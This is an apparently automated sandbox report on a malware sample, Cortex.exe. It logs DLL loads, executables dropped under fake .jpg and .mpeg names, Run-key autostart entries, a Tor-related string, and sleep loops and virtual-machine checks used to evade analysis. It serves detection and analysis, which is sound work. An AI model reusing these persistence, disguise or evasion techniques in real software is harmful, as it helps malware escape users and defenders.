Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\EBatt.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Litiun\EBatt.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Litiun\EBatt.exe Section loaded: version.dll Jump to behavior
Source: C:\Litiun\EBatt.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Litiun\EBatt.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Litiun\EBatt.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Litiun\EBatt.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Litiun\EBatt.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Litiun\EBatt.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Litiun\EBatt.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Litiun\EBatt.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Litiun\EBatt.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Litiun\EBatt.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Litiun\EBatt.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Litiun\EBatt.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Litiun\EBatt.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Litiun\EBatt.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: version.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Litiun\Shorts.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32 Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Window found: window name: TButton Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: Cortex.exe Static PE information: Virtual size of .text is bigger than: 0x100000
Source: Cortex.exe Static file information: File size 11834026 > 1048576
Source: Cortex.exe Static PE information: Raw size of .text is bigger than: 0x100000 < 0x25ee00
Source: Cortex.exe Static PE information: Raw size of .debug is bigger than: 0x100000 < 0x85aaaa
Source: Cortex.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: Cortex.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
PE file contains sections with non-standard names
Source: Cortex.exe Static PE information: section name: .didata
Source: Cortex.exe Static PE information: section name: .debug
Source: Shorts.exe.0.dr Static PE information: section name: .didata
Source: EBatt.exe.0.dr Static PE information: section name: .didata
Source: Boletim[1].jpg.0.dr Static PE information: section name: .didata
Source: Aula[1].mpeg.0.dr Static PE information: section name: .didata
Drops PE files
Source: C:\Users\user\Desktop\Cortex.exe File created: C:\Litiun\EBatt.exe Jump to dropped file
Source: C:\Users\user\Desktop\Cortex.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\Boletim[1].jpg Jump to dropped file
Source: C:\Users\user\Desktop\Cortex.exe File created: C:\Litiun\Shorts.exe Jump to dropped file
Source: C:\Users\user\Desktop\Cortex.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\Aula[1].mpeg Jump to dropped file
Drops files with a non-matching file extension (content does not match file extension)
Source: C:\Users\user\Desktop\Cortex.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\Boletim[1].jpg Jump to dropped file
Source: C:\Users\user\Desktop\Cortex.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\Aula[1].mpeg Jump to dropped file

Boot Survival
barindex
Creates multiple autostart registry keys
Source: C:\Litiun\EBatt.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Litiun Jump to behavior
Source: C:\Litiun\Shorts.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Nick Jump to behavior
Source: C:\Litiun\Shorts.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Nick Jump to behavior
Source: C:\Litiun\Shorts.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Nick Jump to behavior
Source: C:\Litiun\EBatt.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Litiun Jump to behavior
Source: C:\Litiun\EBatt.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Litiun Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
May use the Tor software to hide its network traffic
Source: Shorts.exe, 00000002.00000000.2143765834.000000000042C000.00000020.00000001.01000000.00000006.sdmp, EBatt.exe, 00000003.00000000.2152284497.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Aula[1].mpeg.0.dr, EBatt.exe.0.dr, Boletim[1].jpg.0.dr, Shorts.exe.0.dr Binary or memory string: torConnect
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\Desktop\Cortex.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\Cortex.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Litiun\Shorts.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Litiun\Shorts.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Litiun\Shorts.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Litiun\Shorts.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Litiun\Shorts.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Litiun\EBatt.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Litiun\EBatt.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Litiun\Shorts.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Litiun\Shorts.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Litiun\Shorts.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Litiun\Shorts.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Litiun\Shorts.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Litiun\EBatt.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Litiun\EBatt.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Litiun\Shorts.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Litiun\Shorts.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Litiun\Shorts.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Litiun\Shorts.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Litiun\Shorts.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Litiun\EBatt.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Litiun\EBatt.exe Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Litiun\Shorts.exe Window / User API: threadDelayed 476 Jump to behavior
Source: C:\Litiun\Shorts.exe Window / User API: threadDelayed 445 Jump to behavior
Source: C:\Litiun\Shorts.exe Window / User API: threadDelayed 3424 Jump to behavior
Source: C:\Litiun\Shorts.exe Window / User API: threadDelayed 1202 Jump to behavior
Source: C:\Litiun\Shorts.exe Window / User API: threadDelayed 493 Jump to behavior
Source: C:\Litiun\Shorts.exe Window / User API: threadDelayed 466 Jump to behavior
Source: C:\Litiun\Shorts.exe Window / User API: threadDelayed 2810 Jump to behavior
Source: C:\Litiun\Shorts.exe Window / User API: threadDelayed 4382 Jump to behavior
Source: C:\Litiun\Shorts.exe Window / User API: threadDelayed 366 Jump to behavior
Source: C:\Litiun\Shorts.exe Window / User API: threadDelayed 393 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Litiun\Shorts.exe TID: 1352 Thread sleep time: -10121000s >= -30000s Jump to behavior
Source: C:\Litiun\Shorts.exe TID: 768 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Litiun\Shorts.exe TID: 1352 Thread sleep time: -99296000s >= -30000s Jump to behavior
Source: C:\Litiun\Shorts.exe TID: 6552 Thread sleep count: 1202 > 30 Jump to behavior
Source: C:\Litiun\Shorts.exe TID: 6552 Thread sleep time: -34858000s >= -30000s Jump to behavior
Source: C:\Litiun\Shorts.exe TID: 940 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Litiun\Shorts.exe TID: 1264 Thread sleep count: 34 > 30 Jump to behavior
Source: C:\Litiun\Shorts.exe TID: 1264 Thread sleep count: 493 > 30 Jump to behavior
Source: C:\Litiun\Shorts.exe TID: 1264 Thread sleep count: 466 > 30 Jump to behavior
Source: C:\Litiun\Shorts.exe TID: 1264 Thread sleep count: 165 > 30 Jump to behavior
Source: C:\Litiun\Shorts.exe TID: 1264 Thread sleep count: 288 > 30 Jump to behavior
Source: C:\Litiun\Shorts.exe TID: 1264 Thread sleep count: 307 > 30 Jump to behavior
Source: C:\Litiun\Shorts.exe TID: 6552 Thread sleep count: 2810 > 30 Jump to behavior
Source: C:\Litiun\Shorts.exe TID: 6552 Thread sleep time: -81490000s >= -30000s Jump to behavior
Source: C:\Litiun\Shorts.exe TID: 5772 Thread sleep count: 4382 > 30 Jump to behavior
Source: C:\Litiun\Shorts.exe TID: 5772 Thread sleep time: -127078000s >= -30000s Jump to behavior
Source: C:\Litiun\Shorts.exe TID: 1020 Thread sleep time: -180000s >= -30000s Jump to behavior
Source: C:\Litiun\Shorts.exe TID: 5240 Thread sleep count: 55 > 30 Jump to behavior
Source: C:\Litiun\Shorts.exe TID: 5240 Thread sleep count: 47 > 30 Jump to behavior
Source: C:\Litiun\Shorts.exe TID: 5240 Thread sleep count: 172 > 30 Jump to behavior
Source: C:\Litiun\Shorts.exe TID: 5240 Thread sleep count: 167 > 30 Jump to behavior
Source: C:\Litiun\Shorts.exe TID: 5240 Thread sleep count: 366 > 30 Jump to behavior
Source: C:\Litiun\Shorts.exe TID: 5240 Thread sleep count: 393 > 30 Jump to behavior
Source: C:\Litiun\Shorts.exe TID: 5240 Thread sleep count: 86 > 30 Jump to behavior
Source: C:\Litiun\Shorts.exe TID: 5240 Thread sleep count: 61 > 30 Jump to behavior
Source: C:\Litiun\Shorts.exe TID: 5240 Thread sleep count: 244 > 30 Jump to behavior
Source: C:\Litiun\Shorts.exe TID: 5772 Thread sleep time: -261000s >= -30000s Jump to behavior
Source: C:\Litiun\Shorts.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Litiun\Shorts.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Litiun\Shorts.exe Thread delayed: delay time: 30000 Jump to behavior
Source: Cortex.exe, 00000000.00000002.4519758033.0000000001189000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW8
Source: Shorts.exe, 00000008.00000002.4520273135.00000000009AE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW@X
Source: Cortex.exe, 00000000.00000002.4519758033.000000000120B000.00000004.00000020.00020000.00000000.sdmp, Cortex.exe, 00000000.00000003.2129218177.0000000001202000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000002.00000002.4520115850.00000000009EE000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000002.00000002.4520115850.000000000095E000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000002.00000003.3683954298.00000000009EE000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000002.00000003.3077506732.00000000009E5000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000006.00000002.4529433047.00000000053B6000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000006.00000002.4520525858.0000000000A15000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000008.00000002.4520273135.0000000000A37000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: Shorts.exe, 00000006.00000002.4520525858.0000000000A15000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:40:58-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:57-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:30-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009D7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:41:01-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:37:49-VERIFICANDO TITULO = Program Manager
Source: EBatt.exe, 00000003.00000002.4519937234.0000000000AEB000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A90000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: 12:38:08-VERIFICANDO TITULO = Program Manager
